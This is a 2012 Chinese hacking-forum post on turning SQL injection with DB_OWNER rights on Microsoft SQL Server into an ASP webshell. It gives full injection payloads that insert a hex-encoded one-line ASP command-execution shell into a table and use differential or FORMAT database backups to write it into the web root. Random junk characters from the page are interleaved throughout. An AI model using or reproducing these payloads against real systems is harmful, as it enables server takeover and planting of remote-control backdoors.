找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2523|回复: 0
打印 上一主题 下一主题

DB_OWNER权限得到webshell的改进方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:57:12 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
减少备份文件大小,得到可执行的webshell成功率提高不少
5 |, v; P# P  W
7 v( c$ B. i6 D% ^一利用差异备份6 y* ]  c  _  ]/ g, q
加一个参数WITH DIFFERENTIAL
  G6 n5 m1 L. M2 I" {" D% v  u! N* |# S+ ^& D3 H8 K
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
6 A  w" P6 S: U4 p/ o# icreate table [dbo].[xiaolu] ([cmd] [image]);
) n' Q, Y! Y1 @5 Ninsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
( o4 I# d4 o9 ~: Wdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
: h: E  f) z$ n- \& w6 M( f
  x& H* m, l7 k二利用完全FORMAT
" C2 {% p: d( b; i加一个参数WITH FROMAT& e" v3 D* a5 F9 c0 ~' ^' H
有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以" [& t  b7 P! w2 F' N$ R  v
+ ^% b$ k4 a7 O2 g6 M; Q
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s" T6 \* u  |& k6 S( v! s8 \
create table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
+ q' P$ W7 k% l1 w# cdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
4 k7 p" I; p/ C! Z/ F+ I
% k" U& n, P, p总的来说就是那么简单几句,下面以备份数据库model为例子
) h# ^3 M/ d, G5 g" r
2 b5 t) b% h- Q- `. Yid=1;use model create table cmd(str image);insert into cmd(str) values (”)
0 A% p0 x: ~! L- ~$ Z  y  n& O2 G, |4 O  F5 w3 m/ A  F# y) @8 e0 O
id=1;backup database model to disk=’你的路径‘ with differential,format;–
  Q, B0 `9 u* L- a$ T# q2 L. ?, N2 _# u2 [1 s% ?
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表